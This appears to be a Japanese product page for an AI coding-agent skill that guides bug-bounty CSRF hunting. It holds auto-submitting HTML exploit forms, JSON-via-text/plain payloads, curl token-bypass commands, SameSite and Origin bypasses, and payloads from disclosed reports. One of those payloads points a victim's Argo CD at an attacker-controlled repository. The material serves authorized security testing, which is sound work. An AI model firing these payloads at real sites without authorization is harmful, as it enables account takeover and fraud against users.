hunt-csrf について
hunt-csrfは、状態を変更する操作がクロスサイトで実行できるかを調べるセキュリティテスト用スキルです。リクエスト単位の検査、トークンテスト、攻撃面の手掛かり、影響の検証を組み合わせます。
主な機能
- 01優先順位付きのCSRFテスト手順
- 02生のHTTPでのOrigin・Referer検査
- 03トークン省略とセッション間再利用の検査
- 04シンプルリクエストとJSONエンドポイントの検査
- 05OAuth・ソーシャル連携・モバイルディープリンクの検査
活用シーン
- 01プロフィール変更がトークンなしのPOSTを受け付けるか確認
- 02JSON APIがtext/plainのフォームリクエストを受け付けるか評価
- 03OAuthアカウント連携でRelayStateが検証されるかテスト
- 04CSRF報告の影響と再現性を検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-csrfインストール後、Claude Code で/hunt-csrfを入力して読み込まれたか確認します。
詳細
ショートカット:ヘッダーをチェックする CSRF には、実際のクロスオリジンページより生の HTTP クライアントが有効です
生の HTTP クライアント(curl、Burp Repeater、任意のスクリプトクライアント)はブラウザーではありません。認証済み Cookie と同じ接続上で、どのパスからでも、設定した任意の Origin/Referer ヘッダー値を送信できます。CSRF 対策を謳うアプリの多くは、実際の同一オリジン制御ではなく、受信した Origin/Referer ヘッダーに対して単純な文字列チェック(期待される値が含まれているか、または一致するか)しか行いません。そのため、実際にクロスサイト配信する(HTML ページをホストする、ヘッドレスブラウザーを使う)必要はなく、ヘッダーを直接設定すればチェックを通過できます。このパターンでは、実際の攻撃者ページを構築するよりも高速で確実です:
POST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>
username=csrf_poc
何らかのテキストで、攻撃者ページとして特定のオリジン/ドメインが「期待値」として示されている場合、その文字列がサーバーのチェック対象そのものであることがよくあります。Origin にそのまま指定してみてください(Origin だけでは効果がない場合は Referer を試してください)。偽装したヘッダーでは通過できない、本物の SameSite/fetch ベースのオリジン制御が対象側にある場合に限り、実際のクロスオリジンページ(実際のブラウザー配信)を構築してください。
自律テストの優先順位
CSRF が問題になるのは、ブラウザーをだましてクロスサイトで実行させられる状態変更アクションだけです。
テストの流れ:
- フォームのエンドポイントに GET リクエストを送信し、ベースラインを確立して、どのフィールドが存在するかを確認します(
csrf_token、authenticity_token、_token、csrfmiddlewaretokenなどの隠しフィールドを探します)。 - CSRF トークンフィールドを付けずに、状態変更アクションへ POST リクエストを送信します。機能上必要なパラメーター(メールアドレス、金額など)のみを送信します。
- 「simple-request」に対応した Content-Type を使用します。
application/x-www-form-urlencoded、multipart/form-data、text/plainは、クロスオリジンフォームがプリフライトなしで送信できる CORS の「simple」Content-Type です。JSON エンドポイントが CSRF に耐性を持つのは、サーバーがこれらを拒否する場合に限られます。text/plainの本文も受け付ける(よくあるケース)場合は、有効な JSON として解析されるtext/plainペイロードを作成してください(JSON-CSRF-via-text/plain セクションを参照)。application/jsonだけで保護されていると考えて、JSON エンドポイントをテスト対象から外さないでください。 - アクションが成功する(2xx、「無効なトークン」エラーなし)場合 → CSRF が確認されます。
価値の高い対象(影響度順):
- メールアドレス/パスワードの変更 → アカウント乗っ取り
- 送金または支払い → 金融詐欺
- 管理者アクション(ロールの割り当て、ユーザーの削除)
- OAuth ソーシャルアカウントの連携 → 継続的な ATO
トークンが存在する場合のバイパス手法:
- トークンフィールド自体を省略する — フィールドが存在しない場合ではなく、存在する場合にのみ検証するフレームワークもあります
- 空の値を送信する(
_token=)— 存在ではなく形式を検証するものもあります - 別のセッションのトークンをコピーする — セッションに紐付いていないトークンもあります
対象範囲: ログインフォーム(悪用できる既存のセッションがない)、ログアウト(実質的な影響がない)、読み取り専用の GET エンドポイントでは CSRF をテストしないでください。
重要なターゲット
CSRF は、アカウントレベルまたは金銭的な影響を伴う状態変更アクションに関わる場合、価値が高くなります。最も報奨金が高い対象は次のとおりです。
- アカウント乗っ取りにつながる攻撃経路:OAuth/SSO フロー(RelayState の操作)、ソーシャルアカウントの連携/解除(Oculus-Facebook、SocialClub)、OAuth トークンを漏えいさせる友達インポート機能
- 認証基盤:ログイン CSRF、CSRF によるセッション固定、アカウントの強制関連付け
- クロスオリジン POST を受け付ける API エンドポイント:JSON API、ハートビート/アクティビティ API、Content-Type の検証を省略するあらゆるエンドポイント
- サードパーティ連携:Grafana、監視ダッシュボード、埋め込み分析機能 — CSRF 対策が遅れていることがよくあります
- ソーシャルプラットフォーム:Twitter/X のコレクション、友達のインポート、ソーシャルグラフの変更 — 実際のユーザーに影響する、認証済みの大量アクション
最も報奨金が高い資産の種類: 中核製品の認証フロー > API ゲートウェイ > サブドメインで稼働するサードパーティ連携 > 管理者パネル。
攻撃対象領域の手がかり
URL パターン
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
レスポンスヘッダーの手がかり
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true # dangerous combo
JS/DOM パターン
// Static or predictable CSRF tokens
meta[name="csrf-token"] // grep if value changes across sessions
authenticity_token // Rails — check if reused across page loads
// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
// No CSRF token in form at all
<form method="POST" action="/accounts/link"> // no hidden token field
技術スタックの手掛かり
- Rails アプリ:
authenticity_tokenを探し、セッションごとに静的かどうかをテストします - Django アプリ:
csrfmiddlewaretokenを確認し、ユーザー間/セッション間での再利用をテストします - Grafana インスタンス:CVE-2022-21703について、
/api/health経由でバージョンを確認します - SAMLv2/OIDC フロー:
RelayStateパラメーターは検証されないことがよくあります - Express/Node API:
/api/*ルートではCSRFミドルウェアが省略されることがよくあります
ステップごとの調査方法
-
状態を変更するすべてのエンドポイントを洗い出す — 認証済みセッションでサイトをクロールし、POST/PUT/DELETE/PATCHで絞り込みます。すべてのフォームと AJAX 呼び出しを記録します。
-
Cookie の SameSite 属性を確認する — DevTools → Application → Cookies で確認します。
SameSite=StrictまたはLaxが設定されていないセッション Cookie に印を付けます。 -
トークンが静的かどうかテストする — 2回ログインします(異なるセッション、またはシークレットモードを使用)。
authenticity_token/csrfmiddlewaretoken/csrf-tokenの値を次の条件で比較します:- 同じセッションで異なるページを読み込んだ場合(値は異なるはずです)
- 同じユーザーの異なるセッション間
- 完全に異なるユーザー間
-
トークンの省略をテストする — POST リクエストから CSRF トークンフィールドを完全に削除します。サーバーが200を返した場合、CSRF の脆弱性があります。
-
トークンのすり替えをテストする — トークンを別のセッションのものに置き換えます。サーバーが受け入れる場合、検証に不備があります。
-
フォーム POST による CSRF について JSON エンドポイントをテストする — Content-Type が強制されているか確認します:
- JSON エンドポイントに
application/x-www-form-urlencodedを送信します - JSON 本文とともに
text/plainを送信します - 受け入れられた場合、HTML フォームからクロスオリジンで実行できます
- JSON エンドポイントに
-
OAuth/SSO の RelayState を調査する — SAML/OIDC フローを傍受します。
RelayStateが同一オリジンに対して検証されているかテストします。外部 URL を挿入します。 -
ソーシャルアカウント連携のフローを確認する — 「X アカウントを連携」する機能をすべて確認します。これらではリダイレクトベースの OAuth がよく使われ、コールバックでの CSRF により、攻撃者のソーシャルアカウントが連携される可能性があります。
-
サブドメイン上のサードパーティ製ダッシュボードをテストする — Grafana、Kibana、Prometheus を確認します。バージョンを確認し、既知の CVE を適用して、デフォルトの CSRF 対策状況をテストします。
-
PoC HTML ページを作成する — 別のオリジンでホストし、リクエストを送信して、Cookie が送信され、操作が実行されることを確認します。
ペイロードと検出パターン
基本的な CSRF PoC(フォーム POST)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/v1/account/link">
<input type="hidden" name="provider" value="attacker_account_id" />
<input type="hidden" name="token" value="oauth_token_here" />
</form>
</body>
</html>
text/plain による JSON CSRF(Content-Type チェックを回避)
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/heartbeat"
enctype="text/plain">
<input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
</form>
</body>
</html>
curl:CSRF トークンの省略をテスト
# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
-H "Cookie: session=YOUR_SESSION" \
-d "[email protected]" \
-v 2>&1 | grep -E "HTTP|location|error"
curl:セッション間のトークン再利用をテスト
# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
| grep -oP 'authenticity_token[^"]*value="\K[^"]+')
# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
-H "Cookie: session=SESSION_B" \
-d "authenticity_token=$TOKEN_A&[email protected]" \
-v
調査用の grep パターン
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"
# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
Grafana CVE-2022-21703 のバージョン確認
curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
よくある根本原因
-
セッションごとに静的な CSRF トークンを使用 — 開発者がログイン時にトークンを1つ生成し、それを再利用します。Airbnb のバグでは、1つのセッション内でページを読み込むたびに
authenticity_tokenが同じだったため、容易に漏えいする状態でした。 -
トークンがユーザー ID に紐付けられていない — トークンがサーバー全体で有効であるか、ユーザー/セッションごとではなく定期的にローテーションされます。Mozilla のバグでは、
csrftokenがユーザー間で再利用可能でした。 -
「二次的な」エンドポイントでトークンが欠落 — 開発者はログイン/サインアップを保護しても、API エンドポイント、インポートフロー、Webhook ハンドラーを忘れてしまいます。
-
JSON API は安全だという思い込み —
Content-Type: application/jsonが CSRF を防ぐという考えです。CORS のプリフライトによって防げますが、サーバーがtext/plainまたはapplication/x-www-form-urlencodedも受け入れる場合は例外です。 -
クロスサイト埋め込みのために SameSite=None を設定 — 開発者が iframe 埋め込みやサードパーティ統合に対応するため
SameSite=Noneを設定し、意図せず CSRF を再び可能にしてしまいます。 -
OAuth RelayState が検証されていない — 開発者が SAML/OIDC を実装する際、
RelayStateを暗号学的な紐付けが必要な CSRF 状態パラメーターではなく、リダイレクトのヒントとして扱います。 -
フレームワークの設定ミス — 「API クライアントには不要」という理由で、Django/Rails では
/api/*ルートから CSRF ミドルウェアが除外されていますが、ブラウザーベースの JavaScript クライアントには必要です。 -
サードパーティソフトウェアのデフォルト設定 — 古いバージョンの Grafana、Kibana、Jenkins には脆弱な CSRF 対策、または CSRF 対策がありませんでした。チームがパッチを適用せず、確認もしません。
回避手法
防御:SameSite=Lax Cookie
**バイパス:**トップレベルのナビゲーションによる GET リクエストは引き続き機能します。機密性の高いアクションを GET 経由でトリガーできる場合(またはリダイレクトチェーンによって POST が GET に変換される場合)、Lax では保護されません。また、サブドメインから親ドメインの Cookie を設定することもできます。
防御:CSRF トークンが存在する
バイパス:
- トークンがセッションごとに固定されている — XSS、Referer の漏えい、またはキャッシュされたページを通じて盗み出せます
- トークンがサーバー側で検証されていない — 削除して試すだけです
- トークンが長さや形式だけで検証されている — 形式が正しい偽の値を送信します
- トークンがセッションに紐付いているが、セッションが予測可能
防御:Content-Type: application/json の適用
**バイパス:**細工したフォーム入力名を使用して有効な JSON を生成する text/plain の enctype を使います。サーバーは JSON ボディを受信し、CORS プリフライトをスキップします。
防御:Referer/Origin ヘッダーのチェック
バイパス:
- Null Origin:サンドボックス化された iframe(
<iframe sandbox="allow-scripts allow-forms">)を使用します - サブドメインによるバイパス:
*.target.comが信頼されており、いずれかのサブドメインで XSS を実行できる場合 - Referer の削除:HTTPS から HTTP への遷移で Referer ヘッダーが削除されます
- 弱い照合:単純な文字列照合では
target.com.evil.comが通過します
防御:二重送信 Cookie パターン
**バイパス:**攻撃者が Cookie を設定できる場合(サブドメインの乗っ取り、HTTP 経由での Cookie インジェクション)、Cookie とフォームフィールドの両方に、攻撃者が制御する同一の値を設定できます。
防御:カスタムリクエストヘッダー(例:X-Requested-With)
**バイパス:**単純なリクエスト(フォーム POST、text/plain)ではプリフライトが発生せず、カスタムヘッダーも設定できません。ただし、一部のサーバーはヘッダーの値ではなく 存在 だけをチェックし、一部のフレームワークはヘッダーなしのリクエストも受け付けます。
カスタムスキームのディープリンクを介したモバイルアプリの CSRF
CSRF はブラウザーだけの問題ではありません。モバイルアプリがある対象では、エクスポートされたディープリンク/カスタムスキームのハンドラー(Android マニフェスト/iOS の Info.plist にある scheme://action)を列挙し、いずれかを開くことで CSRF トークンなしにアプリの既存セッションを使った状態変更アクション(フォロー、リンク、購入)が実行されるかテストします。被害者には、通常のリンクや QR コードで誘導できます。開示済み:reports/583987、reports/805073。
ゲート 0 の検証
-
攻撃者は今、何を実行できますか? — 攻撃者は、URL またはページを訪問する以上の操作を被害者にさせることなく、被害者に代わって特定の状態変更アクション(アカウントのリンク、メールアドレスの変更、データの削除、ソーシャルアカウントとの関連付け)をトリガーできなければなりません。
-
被害者は何を失いますか? — 具体的な被害を特定します。アカウントへのアクセス(ATO)、データの露出、金銭的損失、評判への損害などです。「CSRF トークンがない」ことは影響ではありません。「攻撃者が自身の Oculus アカウントを被害者の Facebook アカウントにリンクして、プロフィール全体にアクセスできる」ことが影響です。
-
何もない状態から 10 分以内に再現できますか? — 次のことをすべて、追加の前提条件なしで 10 分以内に実行できなければなりません:(a)攻撃者と被害者のアカウントを作成する、(b)静的な HTML PoC をホストする、(c)被害者に PoC を訪問させる、(d)被害者のアカウントでアクションが実行されたことを確認する。
実際の影響の例
シナリオ 1:友達のインポートを介したソーシャルアカウントの乗っ取り(Rockstar Games)
攻撃者は、「友達のインポート」OAuth 連携を標的とする悪意のあるページを作成しました。認証済みの SocialClub ユーザーがそのページを訪れると、CSRF によって攻撃者が制御するソーシャルアカウントとの OAuth トークン交換がトリガーされました。被害者の SocialClub アカウントは、被害者に知られることなく攻撃者の Facebook/ソーシャル ID と恒久的にリンクされ、アカウント全体へのアクセスが可能になりました。アカウントが完全に侵害される経路があるため、重大度は高と評価されました。
シナリオ 2:Oculus 連携を利用した Facebook アカウント乗っ取り CSRF
Oculus と Facebook のアカウント連携中、OAuth コールバックでは CSRF の state 検証が適切に行われていませんでした。攻撃者は、Oculus の連携フローを開始済みの Facebook 認証ユーザーが読み込むと、攻撃者の Oculus デバイス認証情報を被害者の Facebook アカウントに紐付ける URL を作成できました。その後、攻撃者は Oculus アプリを通じて被害者の Facebook プロフィールに継続的にアクセスできました。この攻撃に必要なのは、被害者が Facebook にログイン中にリンクをクリックすることだけでした。
シナリオ 3:ハートビート/アクティビティ追跡に対する JSON API CSRF
application/json を受け付ける POST エンドポイントは、開発者によって CSRF の影響を受けないと想定されていました。研究者は、送信時に構文的に有効な JSON が生成されるような名前の入力フィールドを使い、enctype="text/plain" を指定した HTML フォームを作成しました。ブラウザーはプリフライトなしでクロスオリジンリクエストを送信しました(カスタムヘッダーがなく、text/plain はシンプルリクエストです)。Cookie が付与され、サーバーは JSON 本文を正規のものとして処理し、攻撃者が制御するアクティビティデータを被害者のアカウント情報のもとでひそかに記録しました。
開示済みレポートの引用(追加分 +5 — 2020-2024)
以下の実在する検証済みバグバウンティ/協調的開示の事例を、このスキルに追加します。4件はCSRFから完全なATOへとつながり、5件すべてがSameSite時代の最新事例です。
-
Argo CD — サブドメイン間の回避+Content-Typeの悪用によるSameSite=Laxの回避(CVE-2024-22424)(GHSA-92mw-q256-5vwg · 解説記事)
- サブクラス:SameSite=None/Laxの設定ミスを利用した連鎖 — 同じ親ドメインを利用した回避+Content-Typeの検証不足によるJSON CSRF
- ペイロード:
marketing.victim.com上にホストし、argocd.internal.victim.comを標的とする →fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'}) - 根本原因:Argo CDは
Content-Type: application/jsonを強制しておらず、攻撃者が共通の親ドメイン配下の任意のサブドメインを制御できる場合、SameSite=Laxは意味をなしませんでした - 年:2023年に報告、2024年1月に2.7.16/2.8.8/2.9.4で修正
-
GitLab — GETに変換されたミューテーションによる
/api/graphqlへのCSRF(H1 #1122408)- サブクラス:GETで状態を変更するエンドポイント(GETリクエストによるGraphQLミューテーション)
- ペイロード:
<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}"> - 根本原因:HTTPメソッドがGETの場合、バックエンドは
X-CSRF-Tokenの検証をスキップしていました。GraphQLはクエリ文字列?query=mutation{...}によるミューテーションを受け付けていました - 年:2021年 — $3,370
-
Stripe Dashboard — コード変更によりCSRFミドルウェアが無効化(H1 #1483327)
- サブクラス:フレームワークの設定ミス — ミドルウェアがグローバルに無効化
- ペイロード:
<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form>+自動送信スクリプト - 根本原因:2022-02-14のデプロイにより、Stripe DashboardのすべてのエンドポイントでCSRFミドルウェアが意図せず無効になりました
- 年:2022年 — $5,000(研究者2名に$2,500ずつ)
-
GitHub Enterprise Server — パストラバーサルによるCSRF回避(CVE-2022-23732)(H1 #1497169)
- サブクラス:CSRFトークン検証の回避(パストラバーサルにより、トークンチェックをすり抜けてリクエストを送信)
- ペイロード:
<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form> - 根本原因:ルーターは実行時にはトラバーサル後のパスを、CSRF保護の範囲判定にはトラバーサル前のパスを照合していたため、有効なトークンなしで保護対象のエンドポイントに到達できました
- 年:2022年 — $10,000
-
HackerOne自身 — ソーシャルアカウント連携へのCSRF → ATO(H1 #1727221)
- サブクラス:アカウント連携へのCSRF(stateの紐付けなしでソーシャルプロバイダーを追加)
- ペイロード:
<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE">— 被害者のブラウザーが、攻撃者が開始した連携フローを完了します - 根本原因:OAuth連携コールバックに紐付くトークンが試行間で再利用されていたか、ユーザーに紐付いていなかったため、攻撃者が発行した連携コールバックが被害者のセッションで受け入れられました。攻撃者のGoogleアカウントが有効なログイン手段となり、ATOが成立します
- 年:2022年 — H1自身のプログラムでは情報提供レベルの対象でしたが、PoCは公開済み
Duende BFF — ロール分割型アンチフォージェリ(2024-2026年の仕様)
Duende BFF(IdentityServer4の商用後継)は、SPA向けの標準的なASP.NET Core BFFライブラリです。そのアンチフォージェリの仕組みは非標準で、ユーザーに紐付いていません。ASP.NET Coreのセッション/ユーザーごとのダブルサブミットトークンの代わりに、DuendeはBFFにマッピングされたすべてのエンドポイントで、静的なヘッダー X-CSRF: 1 の存在のみを要求します。ヘッダー値はすべての呼び出し元で同一です。これはクロスオリジン呼び出しでCORSプリフライトを強制するためだけに存在します。これによりCSRF防御は「同一オリジン+セッションCookieの存在」だけになり、1つのBFFが複数の権限区分にサービスを提供する場合、いくつかの異なる攻撃パターンが生じます。
アーキテクチャの概要: ブラウザー↔BFF間の認証には、暗号化されたHttpOnlyセッションCookie(デフォルトは .AspNetCore.Cookies)を使用します。BFF↔API間では、OAuthトークンをサーバー側にキャッシュして使用します。MapBffManagementEndpoints / MapRemoteBffApiEndpoint / MapBffApiEndpoint で登録されたエンドポイントは、X-CSRF: 1 とセッションの存在のみを検証します。それ以外は検証しません。(docs.duendesoftware.com/bff、Duende blog Mar 2025)
攻撃クラス1 — X-CSRF: 1 はユーザーに紐付いていないため、同一オリジンでロールをまたいだリプレイが成功する
1つのBFFが /admin/* と /user/* の区分にサービスを提供する場合、アンチフォージェリの仕組みではロールAとロールBを区別できません。被害者が管理者ロールを持っていれば、X-CSRF: 1 を付けたXHRを送信できる同一オリジンのスクリプトは、どれも管理者エンドポイントに到達できます。標準のASP.NET Coreアンチフォージェリ(トークンを HttpContext.User.Identity.Name に紐付け、IDが変更されると拒否します)なら適切に対処できますが、Duende BFFでは対処できません。(docs.duendesoftware.com/bff/fundamentals/options)
ペイロードの形: ログイン済みの低権限セッションから、fetch('/bff/admin/users/delete?id=42', {credentials:'include', headers:{'X-CSRF':'1'}}) を実行します。被害者のセッションがたまたま管理者ロールを持ち、攻撃者が何らかの同一オリジンのスクリプト(セルフXSS、サブドメイン乗っ取りによるJS、依存関係の混同)を実行できれば成功します。
攻撃クラス2 — SignalR/WebSocketの例外(/negotiate の抜け道)
ブラウザーのWebSocketはカスタムヘッダーを送信できないため、アップグレード時に X-CSRF: 1 を強制できません。開発者は、BFFのアンチフォージェリからSignalRハブのパスを除外する(MapHub<X>().DisableAntiforgery() を指定する、またはBFF以外のエンドポイントとして登録する)ことで、日常的に回避しています。除外すると、あらゆる同一サイトオリジン(乗っ取られた兄弟サブドメインや、保存型XSSのページを含む)から、ブラウザーに自動送信されるセッションCookieを使ってWSを開けるため、WebSocket経由のCSRFで状態を変更するハブメソッドを呼び出せます。
ペイロードの形: クロスオリジンのページで new WebSocket("wss://bff.example.com/hubs/admin") を開きます。ブラウザーはセッションCookieを送信し、X-CSRF は不要なため、攻撃者は標準のSignalR JSONフレーム経由で DeleteUser(id) を呼び出します。(DuendeArchive/Support#972、learn.microsoft.com/aspnet/core/signalr/security)
攻撃クラス3 — Cookieドメインのワイルドカード化により、サブドメインの乗っ取りがセッション固定化につながる
BFFセッションCookieはデフォルトでホスト限定ですが、開発者は app.example.com と admin.example.com 間でログインを共有するため、よく options.Cookie.Domain = ".example.com" に上書きします。これにより、__Host- プレフィックスによる保護が失われます。legacy.example.com(無効化済みのHeroku/S3を指すCNAME)を乗っ取る → Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com を設定する → 被害者が攻撃者のセッションを持ったまま app.example.com にアクセスする、という手順でセッション固定化によるアカウント乗っ取りが発生します。(nestenius.se BFF cookie hardening)
エビデンスの強さ
2026-05時点で、Duende.BFF に直接関連する CVE は存在しません。上記の 3 つのクラスは設計レベル/文書化された動作であり、同一オリジンでのスクリプト実行、SignalR の例外設定、またはサブドメインの乗っ取りといった、同居するプリミティブと組み合わさることで、実際の指摘事項になります。報告する深刻度は、CVE の引用ではなく、攻撃チェーンがもたらすビジネス上の影響に基づいて判断してください。Duende エコシステムで確認済みの関連 CVE:CVE-2025-26620(Duende.AccessTokenManagement の競合状態)、CVE-2024-51987(Duende.AccessTokenManagement.OpenIdConnect の更新後に誤ったトークンを使用)、CVE-2024-39694(Duende.IdentityServer のオープンリダイレクト)。 (Duende の GitHub アドバイザリ)
ハンティングのチェックリスト
curl https://target/bff/user -H 'X-CSRF: 1' -b '<session>'— 内部 ID、ロール名、テナント ID を含むすべてのクレームを出力します(単独でも情報漏えいに該当します)。/bff/loginのコールバックでSet-Cookieを確認します —Domain=属性(__Host-プレフィックスとの違い)に注意し、Secure/HttpOnlyの欠落も確認します。- 権限の低いセッションから、
X-CSRF: 1を付けて管理者用パーティションの POST リクエストをリプレイし、ロールごとのトークンバインディングがないことを確認します。 - SignalR/WS ハブ(
/hubs/*、/signalr/*)を列挙します —X-CSRFなしで接続でき、応答が 101 Switching Protocols になる場合、CSWSH 型の攻撃が可能です。 - BFF Cookie に
Domain=.example.comが設定されている場合は、サブドメインを棚卸しし、*.example.comの DNS 乗っ取りをスキャンします。
関連スキルと攻撃チェーン
hunt-xss— 信頼されたオリジン上の XSS は、CSRF 防御(トークン、SameSite、Origin チェック)を即座に無効化します。攻撃チェーンのプリミティブ:XSS でmeta[name=csrf-token]の値を読み取り、攻撃者のペイロードを付けて/accounts/emailに同一オリジンの fetch リクエストを送信します → 攻撃者ページからの postMessage が保存型 XSS を実行して状態を変更し、ワンクリックで ATO が成立します。hunt-auth-bypass— CSRF と認証バイパスのプリミティブを組み合わせると、攻撃者側のスクリプトで、本来は追加認証が必要な状態変更を実行できます。攻撃チェーンのプリミティブ:/settings/passwordへの CSRF で再認証チェックをスキップするエンドポイントに到達します → 被害者が現在のパスワードを一度も入力しないままパスワードが変更されます → ATO が成立します。hunt-oauth— OAuth/SAML のstate/RelayStateは、構造上 CSRF トークンに相当します。ここで検証が欠落していると、アカウント連携 CSRF になります。攻撃チェーンのプリミティブ:攻撃者が自分のアカウントで OAuth を開始し、被害者に/callback?code=X&state=の URL を送信します → ログイン済みの被害者のブラウザーが連携を完了します → 攻撃者のソーシャル ID が被害者のアカウントを制御するようになります。security-arsenal— 一から PoC を作成する前に、CSRF PoC テンプレート(フォーム POST、enctype=text/plainの JSON、サンドボックス化された iframe の null-origin、base64 マルチパートのバイパス)を利用してください。Origin/Referer チェック用の WAF バイパスヘッダーのバリエーションも用意されています。triage-validation— ログアウトエンドポイント、または状態変更の影響がないアクションに対する CSRF を報告する前に、Pre-Severity Gate を実行してください。これらは典型的な N/A の落とし穴です。単に「リクエストが実行された」だけでなく、被害者が具体的なもの(アカウントへのアクセス、金銭、データ)を失うことを確認してください。